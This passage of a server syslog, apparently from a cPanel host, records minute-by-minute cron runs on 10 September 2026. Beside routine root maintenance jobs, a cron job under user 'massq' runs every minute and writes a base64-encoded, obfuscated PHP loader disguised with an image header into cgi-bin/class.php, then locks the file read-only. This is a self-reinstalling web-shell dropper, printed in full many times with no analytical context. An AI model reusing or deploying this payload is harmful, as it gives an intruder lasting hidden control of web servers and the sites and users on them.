39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:01:01 server CROND[12702]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 00:01:01 server run-parts(/etc/cron.hourly)[12702]: starting 0anacron
Sep 10 00:01:01 server anacron[12725]: Anacron started on 2026-09-10
Sep 10 00:01:01 server run-parts(/etc/cron.hourly)[12727]: finished 0anacron
Sep 10 00:01:01 server anacron[12725]: Normal exit (0 jobs run)
Sep 10 00:02:01 server CROND[13244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:02:01 server CROND[13245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:02:01 server CROND[13246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:03:01 server CROND[13620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:03:01 server CROND[13621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:03:01 server CROND[13622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:04:01 server CROND[14002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:04:01 server CROND[14003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:04:01 server CROND[14004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:05:01 server CROND[14408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:05:01 server CROND[14410]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 00:05:01 server CROND[14415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:05:01 server CROND[14416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:05:01 server CROND[14422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:05:01 server CROND[14423]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:05:01 server CROND[14420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:05:01 server CROND[14421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:06:01 server CROND[15256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:06:01 server CROND[15257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:06:01 server CROND[15258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:07:01 server CROND[15728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:07:01 server CROND[15729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:07:01 server CROND[15730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:08:01 server CROND[16096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:08:01 server CROND[16102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:08:01 server CROND[16103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:09:01 server CROND[16480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:09:01 server CROND[16483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:09:01 server CROND[16482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:09:01 server CROND[16481]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 00:10:01 server CROND[16861]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:10:01 server CROND[16863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:10:01 server CROND[16862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:10:01 server CROND[16866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:10:01 server CROND[16865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:10:01 server CROND[16864]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:10:01 server CROND[16867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:10:01 server CROND[16868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:11:01 server CROND[17685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:11:01 server CROND[17686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:11:01 server CROND[17687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:12:01 server CROND[18148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:12:01 server CROND[18149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:12:01 server CROND[18150]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 00:12:01 server CROND[18151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:13:01 server CROND[18519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuU